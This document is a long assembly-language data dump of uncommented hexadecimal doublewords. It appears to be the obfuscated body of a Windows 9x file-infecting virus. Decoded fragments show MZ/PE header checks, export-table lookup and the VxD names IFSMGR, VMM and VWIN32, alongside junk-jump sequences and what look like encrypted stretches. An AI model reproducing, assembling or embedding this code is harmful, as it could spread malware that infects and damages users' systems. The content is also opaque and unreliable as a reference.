		dd 40000000h, 0F3FEC350h, 0B9A1232Ah, 41D8D29h,	505005E9h
		dd 12880F52h, 0E9000000h, 0Dh, 0AA6B09BEh, 0A0CF9E3Ah
		dd 85AD4039h, 0E9310F10h, 0Eh, 0EE55C9Eh, 0A7E3D3A8h, 122787EFh
		dd 585A0C68h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 858EC352h, 35FF64B3h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0E2C35646h
		dd 89CBE780h, 0E9166D85h, 25896405h, 0
		dd 91858DF9h, 0F05EC93h, 0C81h,	6890F00h, 29000000h, 0E924C99Dh
		dd 1608905h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0C35040h, 0E9186C6Dh, 13h, 0AC5A3765h, 0E251FB46h
		dd 4883F072h, 0B3A0C9EBh, 0C61FEFCFh, 0E90EE585h, 85314F05h
		dd 5E92F69h, 4E8h, 0C8742A00h, 128D0FFEh, 0E9000000h, 0Dh
		dd 2299CF0Dh, 0FF3692F4h, 0EE603FA6h, 0BE95096h, 3A000000h
		dd 0E15F99C2h, 0E36EB5C6h, 448B6510h, 8D0F0424h, 17h, 61605250h
		dd 0AE9310Fh, 0CF000000h, 0F6ADE321h, 1BF5DD1Eh, 8B585A97h
		dd 0E8A0F00h, 0E9000000h, 9, 0F1E34551h, 4F6A1698h, 2444890Eh
		dd 13E904h, 0E2E0000h, 0EF83A523h, 9D9A56C3h, 0EBD02FE0h
		dd 0CE5B2FB1h, 6A584Ch,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 9F5C98C3h, 0FDB5FF23h, 905E91Eh
		dd 0E905A99Dh, 6F858D05h, 6A05EC7Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 4E65C355h
		dd 0DE9EE07h, 7B000000h, 0B13B44BDh, 3188D11Fh,	0B81E6BFDh
		dd 2231BD01h, 0D0FF05E9h, 0A8E9FCh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 187EDEC3h
		dd 696939EBh, 8D8938B9h, 5E929F5h, 5B1B529h, 5C8B05E9h
		dd 0E8550C24h, 0
		dd 23ED815Dh, 8B05EC93h, 0E9234585h, 0FD858905h, 8B05E91Eh
		dd 0E9003985h, 71858905h, 8B05E91Eh, 0E921D585h, 0C5858905h
		dd 0C605E918h, 0E90EE585h, 85C70005h, 5EC7BFEh,	0
		dd 9391858Dh, 838905ECh, 0B8h, 0C3C0335Dh, 8DB58960h, 0E905E910h
		dd 0Eh,	0ED83C3CAh, 6B9C0B6Eh, 1F19F47Fh, 0F8613489h, 19919D89h
		dd 74BC05E9h, 0F90012FFh, 58F64h, 0F000000h, 1783h, 12E900h
		dd 0B6410000h, 934CE2F3h, 57D2368Fh, 0F2134FA5h, 97F6F4A6h
		dd 6A04C483h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 3BF3C355h, 15FA05B6h, 0C8C0Fh
		dd 800F0000h, 6, 2C058D09h, 9D0105E9h, 5E92EBDh, 83E961h
		dd 51530000h, 8B575652h, 661C245Ch, 5A4D3B81h, 68850Fh
		dd 0B70F0000h, 0D8033C43h, 503B8166h, 57850F45h, 8B000000h
		dd 5C03785Bh, 738B1C24h, 24740324h, 7B8B561Ch, 1C738B20h
		dd 20247C03h, 20247403h, 0FFC983FCh, 245C8B41h,	3178B1Ch
		dd 83202454h, 28A04C7h,	874C084h, 0E875033Ah, 0F2EB4243h
		dd 0E075033Ah, 0FE1D15Fh, 8B0F04B7h, 44038604h,	5E5F1C24h
		dd 0C25B595Ah, 0C0330008h, 0FFFFF1E9h, 0E8CA8BFFh, 12h
		dd 0CC8E03B5h, 3E5A1909h, 27A76B04h, 5E1D0372h,	0C7808F51h
		dd 10E95A95h, 0D7000000h, 46DB3812h, 2200E068h,	0C90A0D55h
		dd 81413E61h, 5FA8C2h, 0DE8B6600h, 17B968h, 0C2BF0F00h
		dd 2DB85259h, 5F520646h, 0B86632FFh, 0BB5EF5E2h, 4333FEC0h
		dd 0C546EE81h, 816637FCh, 810425CBh, 0FFCE85EEh, 9860F04h
		dd 0F000000h, 386h, 71F48000h, 933BEE81h, 0B8665FB7h, 328934FFh
		dd 0EA81B9B0h, 36D5E8D0h, 81FFBF0Fh, 0D5E8CCC2h, 10B86636h
		dd 1E98331h, 1D850Fh, 0B8660000h, 25E9A53Ah, 0E3000000h
		dd 0E5D32AC3h, 9A5D8C5Bh, 7DDEF3D2h, 576FAE90h,	53C0B558h
		dd 0E95FD88Bh, 0FFFFFF84h, 17653E1Dh, 4765AEE6h, 10E8h
		dd 5F21F300h, 3281A6B9h, 8942C0C6h, 75E10C31h, 0F5FF846h
		dd 0C781C8B7h, 5F2Dh, 0B8h, 0D78B6600h,	0E93834FFh, 0Eh
		dd 5685C3F4h, 0BF1714C4h, 9F015FF9h, 665BC6BEh,	817F35BAh
		dd 2A1900C3h, 0EAE68151h, 81289B77h, 0E5DBE2C3h, 0A820F0Ch
		dd 0E9000000h, 5, 33A958ABh, 8BC38190h,	0B578AF14h, 48F5358h
		dd 0F7B70F07h, 5E9h, 0B7BF7500h, 0E883D285h, 0D2816602h
		dd 48488BA8h, 8E8h, 0DFA11100h,	0D6CB0AF7h, 0AE981h, 0CF450000h
		dd 71E796E1h, 376B748Ah, 80F8815Eh, 0FFFFFA1h, 0FFFF7785h
		dd 4DACB9FFh, 34EB06D9h, 4D534649h, 20205247h, 20444B56h
		dd 20202020h, 204D4D56h, 20202020h, 4E495756h, 20203233h
		dd 4C445856h, 20205244h, 3 dup(0)
		dd 715E9h, 0FC60F800h, 962F85C7h, 5ECh,	8E90000h, 0AA000000h
		dd 0C4C7F7F2h, 8B1EF0B7h, 55006AC6h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 26F7CBD1h
		dd 0F9DBB71h, 5760D8B7h, 615F5F50h, 0F10E8C1h, 18Eh, 0C166FC00h
		dd 0FE908C8h, 2D000000h, 0F8069085h, 1B73D3B8h,	5B6F6265h
		dd 8589860Eh, 5EC9633h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0B3C35343h, 0C0A8E99h, 178A0Fh, 12E90000h
		dd 41000000h, 4CE2F3B6h, 0D2368F93h, 134FA557h,	0F6F4A6F2h
		dd 0CBC16697h, 5E908h, 0E1F00000h, 83CF2EF1h, 850F40FBh
		dd 80h,	11E9h, 58E49600h, 6058AF8h, 0D98C175Bh,	0E3C72C8Ah
		dd 0BD8D1CFBh, 5EC9607h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 7C35646h, 11E94AB2h, 83000000h, 0D0919E04h
		dd 0F152AE9Dh, 4E1E89F9h, 61B60FAAh, 8E9h, 9560EC00h, 7575B66Bh
		dd 17BE972h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0F5972FC3h, 0F0DFB83h, 4A85h, 0BD8DF500h
		dd 5EC960Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	91C35242h, 0DE9h, 7E0C5800h, 0CBB8403Eh, 0F295E1ACh
		dd 1AE96048h, 0F5000001h, 0AE9h, 0A525EF00h, 0E07B8D15h
		dd 8384D7DDh, 850F01FBh, 61h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 2FC35747h, 0E92618D3h, 0Ah
		dd 0A53E5D48h, 634F75B0h, 8A0F02CDh, 1,	17BD8DFCh, 6A05EC96h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 1A46C356h, 0E9F9C43Eh, 0A1h, 2AFB83FCh, 58850Fh
		dd 0BE90000h, 0A1000000h, 0D55993B6h, 0D9AB5F83h, 0BD8D086Fh
		dd 5EC961Fh, 14840FF8h,	0F000000h, 0E8Fh, 9E900h, 2DD20000h
		dd 0C2B82DDh, 0E960EC43h, 61h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0FBC35646h,	62BD21A1h, 0FB839A97h
		dd 11850F27h, 0F8000003h, 9627BD8Dh, 6A05ECh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0FBEF6C3h
		dd 0C81h, 68F0F00h, 0F000000h, 80h, 37BD8900h, 6A05EC96h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0A3EEC353h, 0E960DCFBh, 14h, 6C69A28Fh, 47FE6994h
		dd 2F0003A7h, 49997470h, 3CF4B485h, 8E860h, 0F4520000h
		dd 242D03C2h, 51584E67h, 0F861615Bh, 6AC88C66h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 9E7EC351h, 154457EBh, 0F58BAD16h, 0BE90324h,	0B9000000h
		dd 87FB7C8Fh, 3E622A3h,	0C00AB8F1h, 168850Fh, 8DF90000h
		dd 0EC9C3EB5h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 4FAC5988h, 0FD01CD30h
		dd 8E9h, 65AADC00h, 399DFDDBh, 0EBE601Bh, 6055BA9Fh, 66C3B70Fh
		dd 0DAF3EF81h, 858B6161h, 5EC9CB0h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 82C35747h, 7A7B8F0Eh, 0BF6660F9h
		dd 9E9879Bh, 0EE000000h, 8ED512A2h, 1676430Eh, 8E0F5061h
		dd 13h,	0EE9h, 2DD69F00h, 60158619h, 0FFC98064h, 89E25B53h
		dd 11E92414h, 6E000000h, 82908114h, 471E2020h, 0C54D0F87h
		dd 357C31D9h, 244C010Fh, 5E9FEh, 0BCE90000h, 5A05EF95h
		dd 11E9h, 0ED112700h, 0C35E3F64h, 7739C177h, 73732B67h
		dd 0C28367BBh, 8966F524h, 5E9FC72h, 62000000h, 0CC75476Ch
		dd 10CEC1F8h, 728966FCh, 0E880F02h, 0E9000000h,	9, 0C0E19131h
		dd 0C387DB17h, 0E904CD6Eh, 12h,	0B6504DB0h, 0FDF483FCh
		dd 0AD4C44F0h, 38E0F099h, 850F19B9h, 7,	18A0Fh,	0E9F80000h
		dd 0F1h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 19h,	1FC35242h, 0D56711C1h, 0B8B0F81h, 60000000h, 50FBD381h
		dd 0C480448Ch, 858B61A6h, 5EC9CB0h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0FCC35545h,	0A95BF03Ah, 0DB51B2CCh
		dd 3EB58D09h, 0F05EC9Ch, 1389h,	0EE900h, 1F90000h, 0F3C99C71h
		dd 8E018C7Fh, 987C3E82h, 4E23858Dh, 6A05ECh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 4047D1C3h
		dd 285F4A2Bh, 5E97AF8h,	39000000h, 2FA40F0h, 14E9h, 4A4C8B00h
		dd 8E3F942Ah, 76EF70D0h, 2A458E1Ah, 930C5B65h, 6AD0FF4Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0E93AC357h, 5, 49B5D37Ah,	2F858949h, 0E905EC96h
		dd 14h,	0EA82423Bh, 2E1EE9C2h, 0FDBA451Eh, 6E2B94E6h, 0E866C7B9h
		dd 51006A61h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 1B4D5D51h, 858BF94Fh, 5EC962Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 8CC35040h, 0C0D1C77Ah
		dd 0C3FCE2A7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0CC35343h, 800F5D42h, 13h, 0AE960h, 93440000h
		dd 0B4849FA7h, 626CAF55h, 60616160h, 13E9h, 17291700h
		dd 87DD507Ah, 8F293FA5h, 3EFD426Ch, 710ECCC5h, 9CB0BD83h
		dd 0F0005ECh, 2885h, 0DE900h, 0BE880000h, 0C3A988F9h, 0ED427C28h
		dd 0C7B7EF97h, 0EC9CB085h, 1013F05h, 7E900h, 0D3F00000h
		dd 8B3AB9CBh, 1DE939h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0CDFC37C3h, 20h, 74C00B00h
		dd 0C708D37h, 9637BD8Bh, 8B905ECh, 0A6000000h, 75492275h
		dd 30488BFAh, 96339D8Bh, 583B05ECh, 8B157F34h, 4D26BD3h
		dd 18BCA03h, 962F8589h,	4EB05ECh, 0C5EB008Bh, 2F858B61h
		dd 0CF05EC96h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0A0C35545h, 8B60AF5Ah, 0E5D681F0h, 615E6744h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0CCC35343h, 5C282323h
		dd 0F7B41ECFh, 0CE9h, 0A5BF7300h, 2245D6E7h, 0EA040FE8h
		dd 0C08BFCB4h, 0E5E9h, 0EE4D1000h, 3271DCFFh, 0E0A1D1Fh
		dd 538FDD7Ah, 2F6D3733h, 773D557Dh, 7DD57F2Dh, 3D577DD7h
		dd 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh,	2F6D3733h
		dd 773D557Dh, 7DD57F2Dh, 1E577DD7h, 75DF6D17h, 60206020h
		dd 0E0E02020h, 68AC2060h, 0E4A9F77Bh, 0B2D020A1h, 0B7EDA693h
		dd 0F291B99Dh, 6020ACA3h, 60206020h, 0E0E02020h, 53752060h
		dd 2F0D0A33h, 6020557Dh, 60206020h, 362BA728h, 60D650F0h
		dd 0A1EFB6F3h, 0B4E0F796h, 92B8E3A7h, 0E9B3F471h, 60F76DB9h
		dd 60206020h, 20206020h, 1ADF6DF7h, 7DD77335h, 0EDF73D57h
		dd 5375D55Fh, 2F6D3733h, 773D557Dh, 7DD57F2Dh, 3D577DD7h
		dd 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh,	2F6D3733h
		dd 0A1E357Dh, 0C1A8000Eh, 0FD54A766h
		dd 7F1643F2h, 69E91605h, 6800000Ch, 5ECA0E8h, 0FCE1A6E9h
		dd 0A1DF68FFh, 9CE905ECh, 68FFFCE1h, 5ECA291h, 0FCE192E9h
		dd 0A32C68FFh, 88E905ECh, 68FFFCE1h, 5ECA3C6h, 0FCE17EE9h
		dd 0A45B68FFh, 74E905ECh, 68FFFCE1h, 5ECA5B0h, 0FCE16AE9h
		dd 0A6C868FFh, 60E905ECh, 68FFFCE1h, 5ECA7ACh, 0FCE156E9h
		dd 0A86868FFh, 4CE905ECh, 68FFFCE1h, 5ECA91Dh, 0FCE142E9h
		dd 0A7CE0EFFh, 3968A48Ah, 0CAF9361Ch, 598CC7ADh, 0ED18563Ch
		dd 9C16CCD0h, 3016335Eh, 0C5ABC8EFh, 583E5B86h,	1CEEB1Eh
		dd 842C7220h, 59B21325h, 5588C27Bh, 0FB226327h,	9CCF09CDh
		dd 3C6FAA6Eh, 0C2B32A0Eh, 621336DCh, 0B6E521FBh, 0C6F93319h
		dd 0A81870A9h, 2644D605h, 0EA1D2CB5h, 2172204Dh, 0C51C323Fh
		dd 857DAC4Fh, 2918C456h, 23E79F3Ch, 0E8BF67E9h,	2B9B8D8Eh
		dd 8CC6ACC9h, 0DC87B659h, 0D00E2FBFh, 0FF974FECh, 132041C2h
		dd 0A6D40340h, 8533A7E2h, 132041C1h, 0C7F557CDh, 0C5DF96B9h
		dd 70F85A89h, 6406411h,	96D0B6D3h, 8F91C063h, 1328FE7Eh
		dd 571BD370h, 0F8BCEA1Dh, 435C8ABDh, 9D31F00h, 0B5EF4BD4h
		dd 8DDC5482h, 0CF2EB6E8h, 0AB88B7A6h, 0DEA70256h, 0B17DEBF6h
		dd 558F4700h, 6598D2B8h, 0FEA76948h, 0E9B94526h, 80000004h
		dd 7EDB15Fh, 7BF11320h,	88C2B0DEh, 29632755h, 48A0D9F6h
		dd 661435D8h, 16C91A20h, 818738AEh, 0D47FDC6Dh,	0A553801Dh
		dd 1C327728h, 0FA92C036h, 132058C8h, 0C4E78E2Fh, 4526911Ch
		dd 4914h, 176FDA00h, 4D5604A7h,	0B91C3229h, 0ADDB0E49h
		dd 485381E3h, 0ED0BF19h, 50EDB64Fh, 20E5AC96h, 6E95D613h
		dd 0F427C40h, 7ABB17E1h, 0B7542553h, 0D879E0BEh, 28420E9Dh
		dd 1F5E4526h, 25000001h, 0E9105604h, 289E1320h,	88C25D8Bh
		dd 0E391B255h, 16C91AA3h, 6018B52Bh, 2C252655h,	2E806E74h
		dd 426DAB91h, 8ED07E9Fh, 0C516C999h, 0C9995717h, 89E15716h
		dd 0FCC27013h, 216C999h, 7337EF8Ch, 89630639h, 0CB83204Bh
		dd 7DA8E6C0h, 93C0FAE0h, 0D4822558h, 16C99992h,	2744A61Ch
		dd 0C994846Dh, 0C8769716h, 16C99A86h, 0C1614308h, 85CA87B4h
		dd 66A08623h, 0F6301633h, 267E95C3h, 0F1537EBCh, 932BA04Eh
		dd 0F56B1C31h, 0D7479FD8h, 0FA391334h, 5DDF9FCFh, 69DF1320h
		dd 0EDF19FCCh, 7119C6D5h, 407E58FBh, 0E56026D4h, 752316CBh
		dd 16CBE531h, 79EF47BDh, 0D614FA17h, 6A0E7AABh,	69616F74h
		dd 91BADh, 739ADA00h, 5347056h,	96C502E8h, 25589379h, 0B9E42208h
		dd 704A989Ch, 4EA0732h,	997F9CC3h, 2C122F5Ah, 0D5A2BFF2h
		dd 0BA0046F4h, 358E1325h, 63A17B57h, 74D6FD3Eh,	0F9DF7C46h
		dd 21D641BBh, 267A4025h, 87C1A7C4h, 52BCFB05h, 0CBA005Dh
		dd 16C9334Ah, 1A7CDE54h, 176FCFFDh, 4D5604A7h, 6E1C3229h
		dd 8A275A94h, 0D2FB38A8h, 6F396796h, 6415DF0Dh,	0AC25CC10h
		dd 0BAE84A10h, 20822022h, 0FC256213h, 43294BBh,	0A6D40340h
		dd 7A2A4BC2h, 48AF113Ch, 0B58FCEA7h, 0CBAA477Ah, 45264F05h
		dd 8C1Bh, 0C908E200h, 0C2D3019Eh, 63275588h, 34CCFA25h
		dd 16C917DFh, 7996C903h, 0F8265993h, 761989E1h,	31F473C8h
		dd 304DC31Ch, 8C2F9FF7h, 0C6A56BDEh, 4AF8AF19h,	16CB8F04h
		dd 0FB2148Ah, 29CCF735h, 48E5104Fh, 527DBBA1h, 74D3A321h
		dd 0DE9A926Fh, 824h, 5F7CA3E3h,	0F10E3D79h, 829FCE0Bh
		dd 112E619Ch, 0A5C2ED2Bh, 3B7941A1h, 0CC0DF310h, 63A288A5h
		dd 0FB351B38h, 0FDDEABC8h, 25BB0F4Fh, 58368F13h, 3C5984C2h
		dd 0CCE91C56h, 5B88C29Eh, 608EF01Fh, 122F629Ch,	88E0DFEEh
		dd 26C77518h, 681C321Ch, 3A754FF2h, 0A8B16A07h,	0B8398979h
		dd 7D1ADA72h, 0F81AE9C3h, 1282DA60h, 444C16Fh, 148AE713h
		dd 0B877CFE6h, 745145Dh, 0D6A32BDCh, 9E4CEF51h,	0E2FD40F7h
		dd 668FCB3Bh, 0CAF82Bh,	78993C9Eh, 0C08D6149h, 59B1271Ch
		dd 0C786370Ch, 0E2C8656Fh, 725875A8h, 5CD40538h, 0AB7452BFh
		dd 772F7B3h, 0F1310000h, 8BC7ADCAh, 1C593F5Ch, 0AFEAD0EDh
		dd 3B795F7Ch, 0F3EFF310h, 415E89C7h, 0D6F31A5Bh, 6986B1F0h
		dd 0F9164983h, 0D99D4B2Ch, 0E51325B8h, 88C2AE8Ch, 0B8102755h
		dd 86F7A548h, 0C81C3200h, 8CEE1958h, 6EDE366Fh,	86281DCBh
		dd 7619DDh, 1649835Dh, 0A6D913F9h, 99096178h, 18DE48F6h
		dd 9B601C31h, 0F837EFD4h, 65E153F8h, 4FE20D54h,	0EE88BEDh
		dd 3C6BA7D4h, 9DD7BDDAh, 0CD253C6Ah, 870CBA5Dh,	5419DB49h
		dd 0B4103B7Ah, 0C8AA477Ah, 10D72152h, 6E666F77h, 6D7B2h
		dd 2F569600h, 0C1F02C12h, 5281BEA4h, 0E1144F35h, 75A0DEC4h
		dd 248E5458h, 0B89EBBE6h, 4D335077h, 0E0C6E30Eh, 895673A6h
		dd 0B9B4FAA8h, 0E13A1325h, 0A7176F03h, 0AD305604h, 59331C34h
		dd 7254F118h, 447F59FCh, 0E51FE311h, 86B350B2h,	50FE72ACh
		dd 1325870Eh, 0B2E52090h, 0A4D1EE50h, 0CAB07375h, 821FB371h
		dd 12F629Ch, 7F2292EAh,	0DEEDBCD1h, 9FDDB719h, 0DDC18533h
		dd 57CD16CCh, 0E2A452F5h, 0EC16CCDDh, 32F7D976h, 555F36EEh
		dd 74A50745h, 6F718730h, 3D8B473Fh, 0FC000006h,	927895BCh
		dd 240A2756h, 0B59BB8E7h, 442A477Ah, 0BABEDB06h, 29549228h
		dd 0BEE5260Ch, 517CBBA1h, 0E1144E34h, 6816F7C4h, 1325B926h
		dd 6F714FA8h, 2A04A717h, 578AC5EEh, 7D2B58F5h, 1C34AC48h
		dd 0A37D2096h, 33193669h, 8198C6F9h, 6816B929h,	19D832FEh
		dd 46670A80h, 65022D6Ch, 50C3457Fh, 7710A3CEh, 8D7390F2h
		dd 0BCE72653h, 3462C48Eh, 6614C51Dh, 16C9DB20h,	13416CAAh
		dd 197BF149h, 0DD4BC876h, 65DB1C32h, 8D9CDE34h,	0B9756D69h
		dd 5A8h, 0E3002767h, 7592C1FDh,	623528Fh, 95B2E520h, 294671AFh
		dd 0B7F5BD25h, 48896F8Ch, 0DF1E0421h, 77B197B4h, 795A2744h
		dd 25BE8BCBh, 0DCBA1313h, 275588C2h, 0D9F62963h, 35D848A0h
		dd 32230E87h, 66A0101Ch, 0D93B0533h, 0C2F13ABh,	0A7481320h
		dd 0C533DDCEh, 47214526h, 0E4AEDC0Bh, 482647h, 6FEC0000h
		dd 4A6FAD17h, 0EAB4E209h, 2E905A88h, 29C4DD8Bh,	0CC421C32h
		dd 0B3C069Eh, 0A23B1320h, 0B93D381h, 0DC171320h, 59B17BA9h
		dd 4E7CAFE9h, 50852284h, 69173825h, 13200B25h, 0B79633A9h
		dd 4526C6E9h, 0EF07h, 4C7BCD00h, 36E49C77h, 16C9CF70h
		dd 1A57087Eh, 0BDA34058h, 0F3E80183h, 72234E8Ch, 0AB0D6C8Fh
		dd 507BB97Dh, 0F1245E22h, 0A4DEB8C3h, 0B4EED471h, 49AA6481h
		dd 9916C9D0h, 290F2C5Fh, 5588C2EFh, 0CDFB5D27h,	7CABE8C2h
		dd 0AEE7844Eh, 2243E656h, 0B9EC2701h, 0C9DEC589h, 389F7016h
		dd 52FDAAAEh, 2DE784FAh, 1C322280h, 0B0245ECEh,	2028BC02h
		dd 6ACC4213h, 0F310723Ch, 4FF262BAh, 0A61A542Eh, 2028B6F8h
		dd 60C23813h, 11CB6832h, 19C6A326h, 7953F66Ch, 0C6F3103Bh
		dd 5684ABECh, 0CB09EF8Ch, 0DEBF6FA0h, 160E6F74h, 4535Ah
		dd 0ABD21200h, 3D6CA88Eh, 0CEFD3A20h, 5D90CBB1h, 0F11C5A40h
		dd 0A812D0D4h, 3C223F6Ah, 0D1B7D4FBh, 644A6792h, 0DDAF72Ah
		dd 0BF387E2Ch, 6DC61325h, 5984C28Fh, 9A1C563Ch,	0F1918730h
		dd 0F4338FECh, 1C4A67C9h, 4A7176Fh, 0EF6FED2Ah,	50F63ED6h
		dd 4C1644A6h, 0CFD482AFh, 371C32A3h, 0C7FB93C1h, 30132081h
		dd 5083BD97h, 66F77EB3h, 81D79745h, 61D71320h, 4C3BE5C4h
		dd 0FA294526h, 0A80CCB3Dh, 0E81352C6h, 0F18EF0BAh, 0D1D0h
		dd 0C8769700h, 13200886h, 0C7F59208h, 3665A17Bh, 0BBA13E08h
		dd 5C204E81h, 0BAC5F31Eh, 3B26E88Bh, 2CC9F4CBh,	0C93A8172h
		dd 74A7E116h, 0A377157h, 636E9CCFh, 0C934F1B5h,	2587FD16h
		dd 267E95C3h, 0C86513B6h, 161C323Bh, 0E3C67A6h,	5C40EDF5h
		dd 0B4167246h, 0A4FC3552h, 0A44495E5h, 0AC0E776Eh, 34535B09h
		dd 65DB19C6h, 8AC7A1C2h, 0C6632D5Bh, 0D477A2E0h, 1E4105B3h
		dd 0D74D16CBh, 6FAD933Ah, 65711344h, 0C8C06F75h, 33B0Ch
		dd 93BAFA00h, 25549076h, 0B6E52208h, 4578B399h,	0D9044228h
		dd 902AB8BCh, 240A2752h, 0B99FBCE3h, 4C324F7Ah,	0F5C2DF12h
		dd 0BC206614h, 55AE1325h, 5984C277h, 749BDCB6h,	38DF7C46h
		dd 0ACEB1852h, 27895381h, 5A7BDC0Ah, 0C91AEAACh, 0E17EF416h
		dd 608EC1FBh, 122F629Ch, 0A0CF0BE5h, 0E70BA872h, 1D8DE5E4h
		dd 9B2A597Ah, 601E2AC2h, 46A761FEh, 881C32CDh, 38406F12h
		dd 7F95956Eh, 47DD9633h, 0BF17FDE3h, 711484DCh,	0EEE3AEC3h
		dd 37EADBDh, 0B4994A0Fh, 25537EBDh, 7A5CF95Bh, 0AACBD604h
		dd 0FC64BAFCh, 31CE44B2h, 8D30A0F8h, 2EB0DFh, 0E184FAB8h
		dd 5A50C607h, 385CB337h, 4580DC3Eh, 6E487512h, 0C312B234h
		dd 474303B1h, 0D54BB710h, 34675024h, 95CFB5D2h,	99753162h
		dd 0D0C8CD9Dh, 25714h, 0AFD61600h, 4170AC92h, 0D2013E24h
		dd 6194CFB5h, 0F5205E44h, 0A40ED4D8h, 381E3B66h, 0CDB3D0F7h
		dd 6046638Eh, 9D6F326h,	0BD347A28h, 61BA1325h, 1488C283h
		dd 0C91A2066h, 2FE95516h, 73292960h, 3E71AB1Bh,	82E44610h
		dd 97CA05DFh, 0D32B42FAh, 0AD12C063h, 0F11C32CFh, 873A5E7Bh
		dd 3876E038h, 0D908AB0Dh, 5DB28753h, 0A4CFAB6h,	941320E8h
		dd 0F21FBC1Eh, 0DBEEA344h, 4675EB19h, 53C056B0h, 79E941A3h
		dd 0BEDF28D6h, 0A91FA0BCh, 9C0C647Bh, 0B2E51FF9h, 0F01DBA84h
		dd 52DC5342h, 7E2197A5h, 94376AA4h, 0EC81C573h,	970DAA42h
		dd 336D53FAh, 7341CF00h, 9890B2EBh, 19BDCh, 0F31A5A00h
		dd 85B4F0D6h, 16458268h, 0A5D813F9h, 3964A288h,	0F0CA181Ch
		dd 846A87B2h, 19FF1C43h, 0AC92AFDAh, 55223F72h,	0B280C674h
		dd 0B50E1325h, 5B88C2D7h, 0E63DEE21h, 32BD659Eh, 344B79DBh
		dd 83372DCh, 5D21CFDAh,	6116C9E1h, 0F32D89EBh, 66C892C0h
		dd 0E05015C3h, 0E85E1C32h, 86C49ECBh, 289ABE5Bh, 4508C71Fh
		dd 477D98F6h, 8AB8EB25h, 59FC5EC0h, 0DBCD4AABh,	0EF1E9419h
		dd 36613559h, 5ACA229Fh, 1FFC09B7h, 0CC42A4C0h,	0BF2F879Eh
		dd 7D076E1Ch, 0D54BA12Eh, 9C1E5832h, 0A229E6A4h, 0B3F450FEh
		dd 270D2A8Ch, 189BAEDh,	44B68031h, 0E6904Ch, 65A50000h
		dd 0FF3B213Eh, 90CDB3D0h, 235E4461h, 0AFEDD3F0h, 7F636784h
		dd 0ADCAF533h, 425F86C7h, 0D5F21D5Ch, 6582B5EFh, 4509B798h
		dd 491325B3h, 88C212F0h, 421C2755h, 0FE37D407h,	729336A6h
		dd 0EEDE5C98h, 2675FADh, 0DBA5D335h, 0F6CF843Eh, 61D71C31h
		dd 77AAE4BEh, 3BE27F49h, 973AAA02h, 0DD8EDCE9h,	7EAC2219h
		dd 304D80BAh, 0AFDD104Ah, 3459E917h, 0B5C0E30Ah, 6582B5EFh
		dd 0DC18457Fh, 0DE376F5Eh, 0DD3F3D19h, 68424D7Bh, 775DFA2Dh
		dd 0AD6BA3Ch, 3797D785h, 0A1170525h, 70C432F0h,	0BD50336h
		dd 351947A9h, 85A6B7BEh, 254A97D7h, 0BC69BE05h,	44A218E0h
		dd 0F3D976ECh, 836986B9h, 52731649h, 259EE2A4h,	1A76EC05h
		dd 0B882B0DBh, 11A7631Bh, 0E7000000h, 3762A17Bh, 0B88E3F09h
		dd 0F8511B7h, 319FA643h, 2D5B82C2h, 0CEFC2F69h,	72A0CB0Ah
		dd 18466DAEh, 0BDEB1654h, 6290BBF9h, 230639Eh, 0A4D2013Eh
		dd 4775A4E0h, 0E6895686h, 4C681h, 0EE830000h, 74FF5604h
		dd 8F5E0424h, 685C2404h, 3D99h,	53241C89h, 0C381E389h
		dd 4, 4EB81h, 1C870000h, 2C895C24h, 0BA525624h,	28F706E2h
		dd 0BB5AD689h, 0DCF597D2h, 685EF301h, 5CD7h, 83242489h
		dd 5D042404h, 8904EC83h, 0D989240Ch, 59084D89h,	5D2434FFh
		dd 4C481h, 34FF0000h, 0C4815B24h, 4, 0FCD556E9h, 77D4F1FFh
		dd 53D2BA18h, 0A089139Ch, 8B99D673h, 0ECAA28B8h, 0FFC50305h
		dd 9D2BF5E0h, 0AAD52D5Dh, 0D256F64Bh, 1AC59E1Dh, 0C4C09357h
